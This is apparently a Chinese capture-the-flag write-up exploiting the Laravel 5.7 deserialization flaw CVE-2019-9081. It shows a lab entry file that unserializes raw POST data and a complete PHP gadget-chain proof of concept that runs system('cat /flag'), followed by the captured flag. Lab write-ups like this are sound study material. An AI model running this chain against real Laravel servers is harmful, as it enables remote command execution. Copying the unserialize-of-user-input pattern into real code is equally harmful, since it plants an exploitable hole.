PHP/7.1.26框架审计CVE-2019-9081Laravel 5.7登录前
    源码
    可参考文章

    1. <?php
    2. /**
    3. * Laravel - A PHP Framework For Web Artisans
    4. *
    5. * @package Laravel
    6. * @author Taylor Otwell <taylor@laravel.com>
    7. */
    8. define('LARAVEL_START', microtime(true));
    9. /*
    10. |--------------------------------------------------------------------------
    11. | Register The Auto Loader
    12. |--------------------------------------------------------------------------
    13. |
    14. | Composer provides a convenient, automatically generated class loader for
    15. | our application. We just need to utilize it! We'll simply require it
    16. | into the script here so that we don't have to worry about manual
    17. | loading any of our classes later on. It feels great to relax.
    18. |
    19. */
    20. require __DIR__ . '/../vendor/autoload.php';
    21. /*
    22. |--------------------------------------------------------------------------
    23. | Turn On The Lights
    24. |--------------------------------------------------------------------------
    25. |
    26. | We need to illuminate PHP development, so let us turn on the lights.
    27. | This bootstraps the framework and gets it ready for use, then it
    28. | will load up this application so that we can run it and send
    29. | the responses back to the browser and delight our users.
    30. |
    31. */
    32. $app = require_once __DIR__ . '/../bootstrap/app.php';
    33. /*
    34. |--------------------------------------------------------------------------
    35. | Run The Application
    36. |--------------------------------------------------------------------------
    37. |
    38. | Once we have the application, we can handle the incoming request
    39. | through the kernel, and send the associated response back to
    40. | the client's browser allowing them to enjoy the creative
    41. | and wonderful application we have prepared for them.
    42. |
    43. */
    44. $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
    45. $response = $kernel->handle(
    46. $request = Illuminate\Http\Request::capture()
    47. );
    48. @unserialize($_POST['data']);
    49. highlight_file(__FILE__);
    50. $kernel->terminate($request, $response);

    poc

    1. <?php
    2. namespace Illuminate\Foundation\Testing {
    3. class PendingCommand
    4. {
    5. public $test;
    6. protected $app;
    7. protected $command;
    8. protected $parameters;
    9. public function __construct($test, $app, $command, $parameters)
    10. {
    11. $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
    12. $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
    13. $this->command = $command; //要执行的php函数 system
    14. $this->parameters = $parameters; //要执行的php函数的参数 array('id')
    15. }
    16. }
    17. }
    18. namespace Faker {
    19. class DefaultGenerator
    20. {
    21. protected $default;
    22. public function __construct($default = null)
    23. {
    24. $this->default = $default;
    25. }
    26. }
    27. }
    28. namespace Illuminate\Foundation {
    29. class Application
    30. {
    31. protected $instances = [];
    32. public function __construct($instances = [])
    33. {
    34. $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
    35. }
    36. }
    37. }
    38. namespace {
    39. $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
    40. $app = new Illuminate\Foundation\Application();
    41. $application = new Illuminate\Foundation\Application($app);
    42. $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));
    43. echo urlencode(serialize($pendingcommand));
    44. }

    因代码里是通过 POST 的 data 接收,所以这里是用 data POST 过去
    image.png
    flag
    ctfshow{c9f25ab4-3267-441b-9df4-a93a1e38e727}